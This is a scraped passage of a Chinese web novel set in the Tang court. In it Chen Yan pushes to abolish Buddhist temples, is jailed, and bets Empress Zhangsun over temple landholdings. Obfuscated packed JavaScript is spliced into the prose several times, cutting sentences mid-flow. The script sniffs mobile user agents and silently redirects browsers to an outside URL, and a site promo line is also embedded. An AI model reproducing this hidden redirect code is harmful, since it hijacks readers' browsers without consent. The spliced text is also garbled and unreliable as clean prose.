李世民忍无可忍,看着整个朝堂陷入了混乱,怒声斥责:“干什么呢?都要**吗?” “还是说想进大理寺狱走一遭?” 此话一出,朝堂内寂静了一瞬,两方官员各自停下手中挥舞的拳头,对着对方冷哼一声,然后不约而同地自顾自整理衣服。 “老菜梆子,今天就放你一马,但你记住,老子不是放马的,今天这个佛,我陈衍灭定了,谁来了都不好使。” 陈衍一句话,同时把萧瑀和李世民都气坏了。 李世民怒极反笑:“好好好,不愧是国公爷啊,说话就是霸气侧漏!” “不过朕想问问你,今天这个佛,倘若是朕不允灭呢?” “你又当如何?” “就是就是!”程咬金又跳出来,“渭国公陈衍,实在太过嚣张,不仅带着满朝文武斗殴,还当着陛下的面大放厥词!” “陛下,打他四十大板啊!” 李世民:“.” “你也给朕闭嘴!”他立刻怒瞪了过去,后者脑袋缩了缩,嘴里小声念叨着什么。 陈衍拍了拍身上衣服的褶皱,把自己的‘理’重新收起来,振振有词道:“陛下乃千古难见的圣明之君,如果在众多大臣多次进言,告知您佛门的危害,您一定会加以重视的。” “臣斗胆猜测,灭佛,一定也是您想看到的。” “而除了您之外,天下没几个人能拦得住臣!” 李世民面无表情道:“那如果是皇后呢?” “皇后殿下.”陈衍顿了顿,坚定道:“皇后殿下同样是一代圣母,心里始终记挂着百姓。” “臣相信,当皇后殿下知道自己的信仰,成为了阻挡天下百姓迈向光明生活的阻碍,她一定会支持臣的!” “放**狗屁!”萧瑀捂着自己青黑的眼眶,厉声嘶吼道:“如果真的灭佛,触怒了天上佛陀,天下百姓哪里来的好日子过?” “你一定会遭报” “老子报你娘啊!”陈衍这次 是真的怒了回头面对文武百官一字一句道:“如果天上真的有一位仙、一位神、一位佛俯瞰世间怜悯众生那么哪里来的那么多蝗灾、旱灾!雪灾!!洪灾!!!” “啊!告诉我!” 陈衍轻微喘着气咬牙切齿道:“当初隋炀帝急政致使天下民不聊生冤魂四起是陛下跃马先登无数英雄豪杰前仆后继一刀一刀在乱世之中杀出了血河祭出了我大唐的旌旗!” “彼其娘的当无数将士面对强敌时死战不退硬生生用鲜活的生命和无数鲜血为我们浇筑出走向安定的道路时” “佛在哪里?” “贞观元年**厥趁我大唐政局不稳颉利率二十万大军南下直逼长安兵临渭水 “最后是佛出来解决的吗?” “没有!!!” “是陛下亲率六骑到渭水边与颉利对话随后斩白马为盟立下了令无数大唐男儿感到耻辱的渭水之盟!” “贞观二年蝗灾四起无数粮食被啃食殆尽是陛下生吞蝗虫立下了罪己诏而后跟一众大臣日以继夜地想办法赈灾!” “自己的内帑耗子见了都要叹气袜子破了洞都舍不得换这个时候佛又在哪里?” “贞观三年百年罕见的大旱出现无数百姓奔赴长安沿途中他们啃树根、吃观音土、甚至易子而食!” “你口中的佛怜悯他们了吗?” 陈衍声音愈发洪亮额头隐隐鼓起了青筋:“老子告诉你还是没有!!!” “那时连我这个被大家称为纨绔子弟整天只知道混迹青楼烂泥扶不上墙的东西都知道百姓苦所以散尽家财施粥赠衣为他们诊断治病!” “佛在哪里?你这个信佛、高高在上、张口仁义道德、闭口道德仁义的萧大人又在哪里?” 陈衍冷笑道:“贞观四年黄河、长江两岸爆发洪灾是陛下早有发觉派出大军早早建设排水渠。” “当八百里加急冲进太极宫时更是陛下逼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“呵呵.大师!”陈衍扬了扬下巴,前所未有地坚定道:“别跟我扯那些没用的东西,我从来不歧视寺庙,但现在的寺庙严重危害了百姓、国家。” “所以我陈衍,就是要干它!” “.” 第618章 故地重游 陈衍的话音落下,真真正正引得满朝哗然。 反佛的,不反佛的官员齐齐疯了。 一方在疯狂支持陈衍,而另一方却在疯狂攻击陈衍。 这次,比方才打群架要激烈得多。 “你说什么?” “你在说什么?” 萧瑀彻底失声了。 他怎么敢的啊,他到底是怎么敢的啊? 这种话都能说得出口。 “那又如何?”陈衍淡淡道:“你们信佛的不是最讲究因果吗?如有百般因果,我陈衍一个人扛了!” “你你不可理喻!” “对对对,你可理喻,你放任寺庙做大,欺压百姓,你太理喻了。” 程咬金这时开口道:“姓萧的,老子劝你少说两句,我们早就告诉过你了,这些寺庙不能留,你别继续叭叭,要不然老子再揍你一顿。” 玩归玩,闹归闹。 大事上,他肯定是要站陈衍的。 再者说,他同样看那些僧人不爽很久了。 “你们怎敢如此啊!”萧瑀气不过,左右看了看,然后急忙来到一直揣着手没说话的魏征面前: “魏公,他们想引起**啊,你快说说他们。” “说他们?”魏征平静道:“说他们什么?” “我觉得他们说的很有道理啊。” “我大唐一路走来,什么时候不是靠自己,而是靠虚无缥缈的佛了?” “寺庙的肮脏事,我亦听说了不少,灭就灭吧,反正历史又不是第一次了。” “再灭一次有什么大不了的。” 杜如晦深以为然:“北魏太武帝灭佛,诛杀长安沙门,焚毁经像,诏令全国击破佛像,焚烧经书,沙门无少长悉坑之。” “我也没见他遭什么报应。” 房玄龄点点头:“确实如此,北周武帝灭佛,北方佛教几乎被连根拔起,同样没见他遭什么报应,反而为后来灭北齐打下了基础。” 有 了三位宰相明确开口站台,反佛的官员更兴奋了,言语间都更激烈三分。 而不支持反佛的,同样不甘示弱,硬生生顶住了压力。 朝堂之中,顿时唾沫星子横飞。 眼看朝堂比方才吵得还凶,甚至连杜如晦、魏征他们都加入了战场,李世民却已经无心再管了。 一手撑着下巴看了看,李世民摇头叹息。 本来,今天他预想中的朝会,是大家商量商量洛阳水患一事。 大家聚在一起想想办法,或者跟户部吵两句,然后拿出一个解决的章程来。 只是,让所有人都没想到的是,户部竟然全部梭哈,来了句要灭佛 “呵呵.” 李世民摇头失笑,颇为感慨地长叹一声,而后不顾争吵的文武百官,离开了太极宫。 “.” 当天,贞观以来,朝堂之上最大的**发生了。 期间,文官集团集体带伤,旁人问起来,可就是没一人说。 所有人都对此闭口不言。 而作为带头打群架的陈衍. 毫不意外地故地重游了。 “哟,国公爷,您怎么又来了?” 大理寺狱内,还是那个熟悉的狱卒,眼看陈衍被两名禁卫带过来,顿时乐了。 陈衍斜睨着他,“你笑个屁呢?” “我被关了,你怎么看起来还很高兴?” “哎呀,国公爷啊。”狱卒乐呵呵地打开监牢大门,等陈衍自己进去之后,又边上锁边说道:“您第一次来的时候,小的就觉着您不是个消停人,总有一天还得回来。” “您瞧,这不又回来了嘛。” 陈衍无语地躺在监牢的草席上,拍着自己的肚皮,“我说.你叫什么来着?” “小的裴光。” 陈衍:“.” “.行吧,裴光,你也别叫我国公爷了,我估摸着从今天开始我就不是了。” 裴光眨眨眼,“国爷,您今天犯的事儿,不小? “嗯呐。陈衍随口道:“其实也没什么大事,就打了一架而已,哦,还说了些体面的话。 “那应该没什么事。裴光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229035|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐呵呵道:“爷,您饿不饿,我那边还有只烧鸡,咱俩小酌两杯啊? “啊陈衍拍了拍自己的肚皮,起身,“行啊,正好我有些饿了,你取去吧。 “哎,好 “夫君! 裴光正准备去拿东西,就瞧见一个美得不像话的女子急急忙忙地跑进来,脸上满是担忧之色。 他都懵了一下,往后面瞅了瞅,发现还有一名美貌女子走进来。 裴光脑袋顿时宕机了。 不是? 这是大理寺狱啊? 怎么你们一个个能随便进来吗? “你你到底怎么了?为何父皇突然下旨要关你进大理寺狱啊,你没事吧? “他能干什么?这时,高阳也走了过来,上下打量一眼陈衍,见他没什么事,心里松了口气,嘴上毫不留情地嘲讽:“估计又惹事了呗。 “虽然我没打探到什么具体消息,但程咬金他们可是一直嚷嚷着要打他二十大板。 “我估摸着啊.他是刷爵位来了。 陈衍:“. 得。 他就知道程咬金和尉迟恭绝对不会消停。 “行行行,这件事啊,你们少打听。陈衍挥了挥手,“你们回去吧,我没什么事,就是想大理寺狱了,回来住两天。 二女:“. “夫君,都这个时候了,就别开玩笑了。李丽质依然不放心,“我们刚刚去找父皇了,可父皇都不见我们,连兕子都不见。 “态度十分坚定,你到底做了什么? “他好像真的很生气了。 “要不我们去找找母后,让她为你求求情? 陈衍摆摆手,重新躺了下来,“你们不用费那个功夫,皇后殿下该知道的肯定会知道的,用不着你们去求情。 “另外,也别去找你们父皇,这件事说起来很复杂,至于陛下.他乐得如此,而且在某种程度上,算是在保我。 “你们别瞎打听,回去之后,该吃吃,该喝喝,我在这里挺好的,还有老熟人。 “你们如果晚点来的话,我都吃上烧鸡了。 “. 第619章 我做那个举起屠刀之人,有何不可? 李丽质眼角抽搐,实在不知道该说什么好了。 都被关进大理寺狱了,怎么看起来好像一点都不慌呢? 还惦记着那破烧鸡。 高阳黑着脸道:“合着我们来,还影响你吃烧鸡了呗?” “可不是吗?”陈衍懒洋洋道:“你们俩啊,就别瞎操心了,赶紧回去吧,这是你们能来的地方吗?” “等过两天我就回去了昂。” 高阳下意识想怼陈衍两句,忽然意识到了不对,凝神看着他道:“你为何那么着急想赶我们走?” “你有事?” 陈衍瞥了她一眼,“知道你还问!” “我没跟你们开玩笑,接下来过来找我的人估计不少,你们先回去吧,我住在这里啊,估计比住在家里来拜访的人还多。” 听到这话,高阳深深看了陈衍一眼,轻轻点头,“那好,我跟姐姐先回去了,我们在家照看好孩子,你记得回来。” “.好。”陈衍这次很认真地回复了高阳。 “走吧,姐姐。” 李丽质闻言下意识点点头,意识到朝堂今天估计发生了什么大事,正准备离开,忽然想到了什么。 她赶紧拿出自己来之前提前准备的四五块金饼,一股脑塞进裴光手里:“这位小大人,劳烦您平日里多关照一下我夫君,我感激不尽。” “公主殿下.您这不行,不行的呀。”裴光吓坏了,急忙推脱道:“小的跟国公爷熟,哪怕您不说,小的亦不会委屈了国公爷,您放心吧。” “收下吧,拿去买酒喝。”李丽质强硬把金饼塞进裴光手里,而后担忧地看了眼里面躺着拍肚皮的陈衍,跟高阳离开了。 只是,让两人没想到的是,他们刚走出地下监牢,转头就遇上了两个人。 “太史令?国师?” “二位公主殿下。”李淳风微微笑着,“这么快就跟陈先生聊完了吗?” 高阳啧了声:“还真让陈衍说中了,今天来找他的人估计不少,难怪这么着急让我们走。” “太史令,能否告诉我一下,今日朝堂之上,到底发生了什么事? 李淳风摇了摇头:“此事重大,既然陈先生未曾告诉你们,在下也不好多嘴。 “唯一能告知公主殿下的是,陈先生想做一件利国利民的大好事,但得罪了天下无数人。 “好吧。高阳听到这里,心里最后一丝担忧放下了。 因为她很清楚,陈衍做事,只要大方向没错,李世民和长孙皇后都会支持他的。 现在落到这种境地,大概率是真的在刷爵位。 另外如果真的有事,程咬金他们就不会喊着打陈衍四十大板了。 四人没有多聊,李丽质和高阳离开之后,李淳风和袁天罡对视一眼,然后摇头失笑,踏入了监牢之中。 此时,裴光刚把烧鸡给陈衍端过来,两人隔着牢房门的缝隙,还碰了碰杯。 “爷啊,这金饼.小的拿着心里实在不踏实啊,要不您拿回去算了。 “让你拿着你就拿着。陈衍啃着鸡腿,无所谓道:“都叫我爷了,你看爷是差这点的人吗? “你啊,安心收着,回去给媳妇孩子买两件新衣裳。 “上次你不是说你孩子满一岁了吗?现在算算应该三岁了吧? “等过段时间,长安会开几家学堂,你拿着这些钱以后送孩子上学堂去,让他好好读书,未来自己当爷。 “再说了,这件事就咱们几个人知道,你别到处炫耀,谁知道啊? 裴光张了张嘴,什么都没说出来,眼眶红红,重重点了点头:“小的明白了。 “明白就好.别整那死出,以后日子会好起来的。 小说更新,记住域名caixs?(请来才 小说 看最新章节 完整章节) “哎哎,爷,是小的让爷见笑了。 就在两人说话间,李淳风和袁天罡悄无声息地走过来。 李淳风突然开口:“陈先生! “**! 陈衍被吓了一激灵,抬头就看到了笑眯眯的李淳风。 他顿时无语了:“太史令,你下次来能不能发出点动静 ?” “每次都这么好端端的在你旁边说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229036|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你难道不知道人吓人会吓**的吗?” 李淳风感慨道:“陈先生啊就我俩这点小本事哪里比得上您啊?” “您可是带着户部上下官员跟满朝文武打群架的狠人甚至.” 说到这里李淳风啧啧称奇。 他属实是没料到陈衍的胆子会那么大竟然敢对寺庙出手。 陈衍嗤笑继续啃着鸡腿:“这你就不知道了吧灭佛肯定是不可能的 “而且大唐的僧侣十数万灭的完吗?” “另外你以为陛下就不想对佛教出手吗?你以为阻碍累进税制的只有地主豪绅、世家大族吗?” “我不过是顺水推舟罢了算不得什么。” 袁天罡深以为然:“那确实是而且此事由你说出来简直一劳多得好处太多了一句两句都说不清楚。” “不过陈先生你当真就不怕得罪这一群信徒吗?” 陈衍手中的动作顿了顿扭头看向袁天罡:“为什么你会觉得我会怕?” 袁天罡皱眉道:“这难道不应该吗?例如萧大人之类的就不说了连长孙皇后都是佛门信徒。” “你这得罪的可不是一个两个人而是” “我明白我明白。”陈衍抬手按了按“我得罪的是无数人是遍布天下的信徒对吧?” 袁天罡没说话但他显然是这个意思。 陈衍太过刚烈了在朝堂之上表现出来的态度简直无比坚定而且他喊的不是反佛是灭佛。 二者的差距可谓天差地别。 陈衍把啃完的鸡骨头随手一丢拍了拍手反问道:“国师你知道我上次说的那个摊丁入亩雏形有多难实现吗?” “其中的阻力又有多大吗?” “国师啊有时候有些事是你明知道这样做后果很大但依然要做的。” “对待这些阻力得软硬兼施。” “陛下肯定是不能来硬的因为他还需要保证大唐的稳定所以他只能来软的。” “可硬的总要有人来吧?” “改革怎么能没有鲜血?” “既然新的律法注定要用无数尸骨堆积才能树立起来我做那个举起屠刀之人有何不可?” “.” 第620章 跟长孙皇后的赌约 “做那个举屠刀之人” 袁天罡语塞,跟李淳风面面相觑,两人都没再说出一句话来。 过了好半晌,李淳风才试探性地问:“陈先生,你该不会真的想灭佛吧?” “没有!”陈衍随意地摆摆手,“我只是想用寺庙打开一个口子,让天下看到我的态度,震慑一下那些同样拥有特权的人。” “杀僧侣,真的没什么用。” “历史上灭了两次佛,他们不依旧死灰复燃了吗?这种吃力不讨好的事情,没必要做。” “我需要的是今后能严格管制这方面,不让寺庙越建越多,取消掉他们的特权,让大唐少一个巨大的特权阶级。” 说到这里,他停顿了一下,轻嗤道:“还是那句话,当你开窗被人拒绝时,不妨提议把房子拆了。” 李淳风沉吟道:“这一点我已经猜到了,今日来,也有跟您确认一下的意思。” “不过,连我都能想明白,那些一个个精明无比的官员,恐怕也能猜到.” “猜到又能如何?”陈衍端起酒杯,小小抿了一口,“他们能有什么办法吗?” “如果连反佛都不同意,我也不介意真的灭佛。” “反正有大唐民报在手,有逐渐开始渗透天下的不良人,大不了就把寺庙查个底朝天,然后把他们干的事全部登报出去。” “把一切东西摆到明面上来,我看届时他们还敢说什么,不服连他们一起杀了。” 袁、李二人眼皮一跳。 总感觉陈衍从渭南县回到长安之后,好像变得有些不一样了,杀心未免有些重了。 可想起刚刚陈衍跟裴光的对话,又感觉陈衍还是从前那个陈衍。 说不清,道不明。 似乎是猜到了他们的想法,陈衍瞥了他们一眼,淡淡道:“别觉得奇怪,你们好好想想我说的话就好了。” “新的律法、制度,注定是要用无数尸骨来堆积的,而且这些尸骨绝大多数都是你们所说的无辜之人。” “呵呵.” 陈衍轻声道:“可是天下又有谁是真的无辜呢?” 袁天罡和李淳风并未言语脑海中同时浮现出了上午陈衍在朝堂上说的一句话。 当雪崩来临时没有一片雪花是无辜的。 “.” “爷你们说的那些事.好像都不是小的能听的啊。”裴光苦着脸。 方才三人谈话可都没避讳他。 裴光担心自己听多了不该听的之后会被灭口啊。 陈衍继续躺在草席上拍肚皮刚吃饱喝足有点撑。 听到裴光的话他依旧是一副无所谓的表情:“没事的国师和太史令不一样都不会出去乱说的不过若是来其他人你最好赶紧离开知道不?” “哎小小的参见皇后殿下。” 裴光正要应下来余光看见一个人进来吓得连忙跪在地上。 陈衍一怔豁然起身眉开眼笑道:“皇后殿下您来瞅我来啦?” 长孙皇后无语至极没好气地瞪了陈衍一眼对裴光温和道:“不必多礼你把监牢的门打开本宫跟子安聊聊。” “是皇后殿下。” 裴光不敢耽误连忙拿出钥匙打开监牢的门然后悄悄退出去了。 长孙皇后身边跟着沈淑容自顾自走进监牢内认真地打量着周围的环境忽然冷笑道: “你啊一天到晚就没个消停的时候这次吃点苦头也好就在这里住一段时间吧。” 陈衍尴尬道:“让皇后殿下见笑了不过您可不能让我住太久哈户部的事情还很多家里的女儿还小呢” “你给本宫闭嘴。”长孙皇后哪里不明白他的意思更来气了:“既然知道自己是户部尚书家中还有妻女还敢喊着灭佛?” “依本宫看就应该答应那程咬金打你四十大板看看你能不能消停会儿!” “四十大板.”陈衍苦着脸“这太多了我身子骨弱实在扛不住啊。” 长孙皇后没理他沉吟片刻不顾脏乱坐下来认真问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229037|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> :“子安,本宫问你一个问题。 “您尽管问。 “寺庙.危害当真那么大? 陈衍就知道长孙皇后要问这个,盯着长孙皇后的眼睛,笑吟吟道:“殿下,这个问题,您心里应该已经有答案了不是吗? “您问我之前,想必也问过陛下,陛下没有回答您? 长孙皇后沉默。 其实不回答,就是最好的回答。 陈衍继续道:“殿下,您难道还没明白吗? “土地兼并之所以危害那么大,就是因为特权阶级不需要主动去兼并土地,而是百姓自愿让特权阶级兼并。 “大唐的僧侣,如今便是隐藏的,最大的特权阶级,如果您派人暗中打听打听,或者亲自去看看,您就会明白,在某种程度上,寺庙就是一只巨大无比的吸血虫。 “吸的是谁的血?吸的是百姓的血啊。 长孙皇后还是没说话,只是神色比之方才,复杂了许多。 陈衍微微笑道:“皇后殿下,不如我们来打个赌吧? “什么赌?长孙皇后终于开口了,因为陈衍调动了她的好奇心。 “如今,我是渭国公,官居三品的户部尚书,家里两位备受宠爱的公主妻子,我家的地,仔细算算已经达到了十多万亩。陈衍意味深长道: “而这十多万亩,其中大部分还是从韦家获得的。 “您派您身边这位女官,拿着您的信物,随便在大唐挑一座建立十年以上,香火不错的寺庙。 “看看是他们的地多,还是我这个渭国公地多。 “咱们就赌这个,如何? 长孙皇后朱唇微动,轻轻叹了口气:“.那么赌注是什么? “若是我家的地多,则我输,我保证以后再也不提起反佛。若是寺庙的地多,则您输 “本宫输了,要怎样? “您输了,就要把兕子带回去住两个月。 长孙皇后:“. “. 第621章 放下 “殿下.需要奴婢按照渭国公的话,前去查探寺庙吗?” 从大理寺监牢走出来,长孙皇后看起来心情并不好,沈淑容小声询问道。 长孙皇后沉吟了半晌,最终微微颔首:“去吧,不用去太远,就在长安周边找一座符合要求的寺庙看看吧。” 说完,她顿了顿,侧头问:“你说本宫会输吗?” “子安立下了诸多功劳,加上丽质跟高阳的嫁妆,以及韦家的部分田产,才有十多万亩。” “一座寺庙,能有他的地多?” 沈淑容没有答话。 与其说长孙皇后在问她,不如说在问自己。 更何况,其实当陈衍说出这个赌约的时候,输赢已经不重要了。 因为陈衍的根本目的不是想跟长孙皇后赌,而是打着赌约的幌子,来告诉长孙皇后如今寺庙的危害。 这件事太大了,不是她们这种下人可以插话的。 只需要按照吩咐办好事就行了。 “唉~走吧。” 长孙皇后微微一叹,“随本宫走一趟甘露.杜尚书、房仆射、魏征?” 话还未说完,她便看到了三个令她意外的人来到了大理寺监牢外面。 “呃皇后殿下。”三人见到长孙皇后,不敢耽误,连忙见礼。 长孙皇后打量三人一眼,莞尔笑道:“今日的大理寺监牢,简直比长安坊市还热闹些,已经不知有多少位大人来过了。” 房玄龄拱手道:“皇后殿下说笑了,既然您在这里,想必已经明白发生了什么事。” “洛阳水患一事还未解决,现在又多出了一个反佛.臣等自然要来具体问问陈尚书。” “是极,是极。”杜如晦和魏征在一旁忙附和。 怎么说呢。 魏征确实敢怼李世民,但是却不敢怼长孙皇后。 因为他深知,如果没有长孙皇后多次帮自己说话,自己搞不好还是什么样呢。 “方才本宫去见了子安”长孙皇后收敛起脸上 的笑意,缓缓道:“本宫问他,为何要反佛。 “他并未跟本宫解释太多,只是跟本宫打了个赌。 打赌? 三人听后嘴角齐齐一抽。 跟长孙皇后打赌,这种事全天下估计只有陈衍能干出来了。 不过,长孙皇后话已经说到这里,很明显是要继续说下去,三人不能不给面子,所以杜如晦问道:“敢问殿下,陈尚书跟您打了什么赌? “他说.他家里有十多万亩田地,小部分是自己家原本就有的,其次是娶两位公主的嫁妆,大部分是韦家的田地。长孙皇后没有卖关子,道: “子安让本宫随便在天下找一座建立十年以上,香火不错的寺庙,去查查到底是他们的田地多,还是子安家的田地多。 说完,长孙皇后深深看着三人:“你们觉得.本宫会赢还是会输? “这 房玄龄和杜如晦面面相觑,说不出话了。 魏征则直接道:“殿下,请恕臣直言,您不用去查了,您输定了。 “别说十年,五年的搞不好都比陈尚书家的田地多。 “为何?长孙皇后对此真的很不解。 因为陈衍属于特殊情况。 他先前立下了太多功劳,加上太过年轻,不能太轻易封赏,所以能连娶两位公主,而且因棉花的存在,李世民顺水推舟把韦家这个百年大族倒下之后的田地给予了陈衍。 这才让他有了十多万亩。 一座寺庙,凭什么有能超过陈衍的田地? “因为百姓会自愿把田地给寺庙。魏征直接道:“这样做的好处就是,百姓可以免税,今后只需要付给寺庙一笔比赋税低的钱粮就好。 “特别是那些家中人口多一些的家庭,这样做是最划算的。 “这里面涉及到的问题太多,一句两句说不清楚,但总结起来,其实很简单,就是因为寺庙拥有的特权太大了,即便他们不主动兼并土地,百姓也会自发让他们兼并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229038|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “就跟我们大唐暗中隐 藏的人口,绝对远远超过明面上的人口一样。 “只要把人藏起来,就能少交很多税,何乐不为呢? 长孙皇后追问道:“所以,这就是你们都支持他的原因,你们认为他做得对? 魏征淡淡笑了笑,没说话,杜如晦回答道:“殿下,子安做得对不对,其实您心里比谁都清楚,不是吗? “如果您认为子安做错了,今天便不会出现在这里,而是直接让陛下同意程咬金的请求,打子安几十大板了。 “您来问我们,无非是您自己的理智告诉您,子安是对的,他是为了朝堂社稷、为了李唐江山、为了百姓的土地不流失出去,为了今后的改革做准备。 “而您的信仰又与之发生了冲突,这才一遍遍地询问我们,对吗? 闻言,长孙皇后沉默片刻,然后抬眸道:“克明,本宫忽然觉得,你有些像魏征了。 “殿下说笑了。杜如晦哑然:“不是臣像魏征了,臣不过是说了实话罢了。 “当初,让子安当户部尚书,您还从中出了一份力,支持他坐上那个掌管天下钱袋子的位置。 “子安身为户部尚书,在面对年底的战事、洛阳的水患,以及大笔固定支出,他难道一直要靠跟钱庄借贷应对各种大笔支出吗? 房玄龄微微颔首:“殿下,正是这个理。 “子安需要想办法增加国库的收入,陛下需要荡平改革之路上一切障碍。 “为此,他们甚至一步步软硬兼施地逼迫世家至此,佛门又能算什么呢? “殿下,恕老臣明言,这亦是大势所趋。 “我们暂时不能动那些地主、豪绅、地方勋贵,所以只能先对寺庙出手。 “即便这次子安不提出来,今年之内,还是会有人提出来的。 听完几人的话,长孙皇后顿了好一会儿,长叹:“.本宫明白了。 不仅明白了,心里也放下了。 “. 第622章 杜构:子安兄把‘理\’留下了! 与此同时,户部廨署厅堂。 马周、杜构等人聚在一起。 与外人想象的愁眉苦脸不同,这一个个的表情轻松,甚至还有自顾自品茶的。 丝毫没担心自家那被关进大理寺狱的尚书大人。 只有韩仲良这个老实人,满脸忧色,在下面来回踱步,见他们一脸松弛的样子,急了:“我说,诸位大人!” “咱顶头上司都被关进狱里了,你们怎么还能坐得住啊?” 杜构疑惑道:“为什么坐不住?” “咱尚书大人进狱,是陛下下令,我们除了坐着等他回来,还能干啥?” “难不成带人去劫大理寺狱?” 韩仲良:“.” “放心,放心。”房遗直觉得好笑,抬手安慰道:“韩侍郎,你莫急,子安兄家里四位公主呢。” “他啊,顶多就是进去住两天,按照子安兄的话来说,这叫什么来着?” 房遗直歪了歪头,恍若想了起来曾经陈衍跟自己说过的一句话:“哦,对,进狱系男神!” 杜构乐了:“确实进狱噢,没毛病啊!” “不是!”韩仲良都不理解了,“这难道是主要的问题吗?” 马周端着茶杯的手顿了顿,挥挥手:“老韩,你快消停点吧,一直搁面前晃,晃得我头都晕了。” “你就放心吧,你出事了,陈大人都出不了事。” “你就安心坐下来,该干啥干啥吧。” 韩仲良:“.” 他都无语了。 整个长安谁不知道这件事? 谁不知道陈衍有两个妻子? 家里还养着两位小公主? 陈衍出不了事,这难道还用说吗? 谁担心他了啊。 “我清楚陈大人出不了事,可问题不在陈大人身上啊。”韩仲良急道:“**了,陈大人去当那个什么.进狱系男神,那我们咋整啊?” “都特么进狱了,总得要一段时间才 能出来吧?搞不好还得被打板子,届时陈大人绝对用这个借口在家休养。 “现在陈大人在朝堂上带着我们怒怼众臣,现在他不在了,明日上朝咋办? 听到这话,三人齐齐一怔,面面相觑。 好像确实哈。 陈衍都进狱了,那明天上朝怎么办? 他们今天是爽了,该骂骂了,该打打了,不过这一切的前提是有陈衍带头啊。 现在带头大哥进去了。 这明天咋整? “哎,你们要往这边想嘛!见他们总算认真了起来,韩仲良欣慰道:“谁没事跑去担心陈大人啊? “咱们先担心担心自己吧,明天上朝,绝对会再议这件事,而且还得加上洛阳水患。 “这一件件加起来,咱们没有个做主的人怎么能行?明天要吃亏的呀。 “等等。房遗直突然说:“这里我打断一下,关于洛阳水患,子安兄和陛下他们都是准备今日说的。 “只是子安兄好像没想到这件事会闹得这么大,更没想到自己会被送进去。 “不过.还好子安兄一开始就安排好了户部需要拿出的物资,另外,他应该跟陛下有所商量了,咱们按照流程办就好了。 “这件事的问题,倒不是很大。 马周和杜构纷纷点头。 如房遗直所说,虽然陈衍进去了,但进去之前很多事情都已经安排好。 “那好,洛阳水患一事咱们先不谈。韩仲良拍着手,继续道:“你们看哈,今天大人带着我们把萧瑀打了,坚定地要灭佛! “如今两方人吵得不可开交,虽说大家都默契地没有把消息说出去,但两方人明天肯定会继续吵起来。 “曾经的反佛第一人傅奕无论是职位、官阶、影响力什么的统统比不上陈大人,他能做好这个带头的吗? 杜构沉吟一会儿,忽然从背后掏出了一块板砖:“没事的,子安兄进去之前,把他的‘理’留给我们了,说是见‘理’如见他。 “明天大 不了咱们带着子安兄.的‘理’继续干怕什么?” 韩仲良:“.” “.杜爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17229039|176418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我叫您爷了行不?别整这些有的没的了先不说这玩意能不能代表陈大人就算它能代表你确定拿出来这玩意不会更遭人针对吗?” 想起今天陈衍拿着‘理’狂抡萧瑀的样子杜构讪讪地收回了板砖。 马周低声道:“别说这确实是一个问题陈大人尽管暂时不在但咱们绝不能拖了他的后腿。” “好不容易才把这团火点得这么大连陈大人自己都进去了咱们哪怕拆屋子也得添柴火让这团火继续烧下去!” “那谁来做这个带头的?”房遗直道:“烧肯定是要烧但怎么烧是个问题。” “子安兄能把这团火彻底点起来是因为他自身影响力足够背后不仅站着核心权力团还有一众武官。” 